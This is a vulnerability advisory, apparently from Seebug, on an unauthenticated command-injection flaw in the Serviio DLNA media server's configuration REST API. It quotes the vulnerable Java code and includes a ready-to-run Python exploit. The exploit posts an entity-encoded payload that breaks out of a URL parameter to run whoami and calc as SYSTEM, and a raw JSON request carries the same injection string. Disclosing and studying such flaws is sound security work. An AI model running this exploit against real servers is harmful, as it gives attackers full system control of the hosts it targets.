Serviio PRO 1.8 DLNA Media Streaming Server REST API Arbitrary Code Execution

2017-12-11T00:00:00
ID SSV:96961
Type seebug
Reporter Root
Modified 2017-12-11T00:00:00

Description

Summary

Serviio is a free media server. It allows you to stream your media files (music, video or images) to renderer devices (e.g. a TV set, Bluray player, games console or mobile phone) on your connected home network.

Description

The version of Serviio installed on the remote Windows host is affected by an unauthenticated remote code execution vulnerability due to improper access control enforcement of the Configuration REST API and unsanitized input when FFMPEGWrapper calls cmd.exe to execute system commands. A remote attacker can exploit this with a simple JSON request, gaining system access with SYSTEM privileges via a specially crafted request and escape sequence.

Vendor

Petr Nejedly | Six Lines Ltd - http://www.serviio.org

Affected Version

  • 1.8.0.0 PRO
  • 1.7.1
  • 1.7.0
  • 1.6.1

Tested On

  • Restlet-Framework/2.2
  • Windows 7, UPnP/1.0 DLNADOC/1.50, Serviio/1.8
  • Mac OS X, UPnP/1.0 DLNADOC/1.50, Serviio/1.8
  • Linux, UPnP/1.0 DLNADOC/1.50, Serviio/1.8

detail

org/serviio/ui/resources/server/ActionsServerResource.java: ```

-----------------------------------------------------------

private ResultRepresentation checkStreamUrl(ActionRepresentation representation) {

this.validateParameters(representation, 2);

try {

MediaFileType fileType = MediaFileType.valueOf(representation.getParameters().get(0));

String url = StringUtils.trim(representation.getParameters().get(1));

LocalItemMetadata md = MetadataFactory.getMetadataInstance(fileType);

DeliveryContext context = fileType == MediaFileType.VIDEO ? new VideoDeliveryContext(false, null) : new AudioDeliveryContext(false, null);

FFmpegMetadataRetriever.retrieveOnlineMetadata(md, url, context);

return this.responseOk();

}

catch (InvalidMediaFormatException e) {

return this.responseOk(603);

}

```

serviio.jar / external / ProcessExecutor.java: ```

----------------------------------------------

private Map<String, String> createWindowsRuntimeEnvironmentVariables() {

HashMap<String, String> newEnv = new HashMap<String, String>();

newEnv.putAll(System.getenv());

ProcessExecutorParameter[] i18n = new ProcessExecutorParameter[this.commandArguments.length + 2];

i18n[0] = new ProcessExecutorParameter("cmd");

i18n[1] = new ProcessExecutorParameter("/C");

for (int counter = 0; counter < this.commandArguments.length; ++counter) {

ProcessExecutorParameter argument = this.commandArguments[counter];

String envName = "JENV_" + counter;

i18n[counter + 2] = new ProcessExecutorParameter("%" + envName + "%");

boolean quotesNeededForWindows = this.quotesNeededForWindows(argument);

if (!quotesNeededForWindows) {

argument = new ProcessExecutorParameter(this.escapeAmpersandForWindows(argument.getValue()));

}

newEnv.put(envName, this.wrapInQuotes(argument, quotesNeededForWindows));

}

this.commandArguments = i18n;

String[] tempPath = FileUtils.splitFilePathToDriveAndRest(System.getProperty("java.io.tmpdir"));

newEnv.put("HOMEDRIVE", tempPath[0]);

newEnv.put("HOMEPATH", tempPath[1]);

newEnv.putAll(this.createFontConfigRuntimeEnvironmentVariables());

if (log.isTraceEnabled()) {

log.trace(String.format("Env variables: %s", newEnv.toString()));

}

return newEnv;

}

private String wrapInQuotes(ProcessExecutorParameter argument, boolean quotesNeeded) {

return (quotesNeeded ? "\"" : "") + argument + (quotesNeeded ? "\"" : "");

}

protected boolean quotesNeededForWindows(ProcessExecutorParameter argument) {

boolean quotesNeeded = argument.getValue().indexOf(" ") > -1;

return quotesNeeded;

}

private String escapeAmpersandForWindows(String value) {

return value.replaceAll("&", "^&");

}

```

                                        
                                            
                                                # The PoC will create a file testingus3.txt in 'C:\Program Files\Serviio\bin' with whoami
# output in it and start a calc.exe child process as nt authority\system.
#

from urllib2 import Request, urlopen
import sys

if (len(sys.argv) &lt;= 1):
        print '[*] Usage: serviio_rce.py &lt;ip address&gt;'
        exit(0)

host = sys.argv[1]

values = """
&lt;action&gt;
    &lt;name&gt;checkStreamUrl&lt;/name&gt;
    &lt;parameter&gt;VIDEO&lt;/parameter&gt;
    &lt;parameter&gt;1.2.3.4&#x27;&#x5c;&#x22;&#x60;&#x26;&#x77;&#x68;&#x6f;&#x61;&#x6d;&#x69;&#x20;&#x3e;&#x74;&#x65;&#x73;&#x74;&#x69;&#x6e;&#x67;&#x75;&#x73;&#x33;&#x2e;&#x74;&#x78;&#x74;&#x26;&#x26;&#x63;&#x61;&#x6c;&#x63;&#x26;&#x60;&#x27;&lt;/parameter&gt;
&lt;/action&gt;"""

headers = {
  'Content-Type': 'application/xml',
  'Accept': 'application/xml'
}
request = Request('http://'+host+':23423/rest/action', data=values, headers=headers)

response_body = urlopen(request).read()
print response_body


'''
Raw request:

POST /rest/action HTTP/1.1
Host: 10.211.55.3:23423
Content-Length: 93
Accept: application/json, text/plain, */*
Origin: http://10.211.55.3:23423
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Content-Type: application/json;charset=UTF-8
Referer: http://10.211.55.3:23423/console/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
DNT: 1
Connection: close

{"name":"checkStreamUrl","parameter":["VIDEO","1.2.3.4'\"`&whoami &gt;testingus3.txt&&calc&`'"]}

'''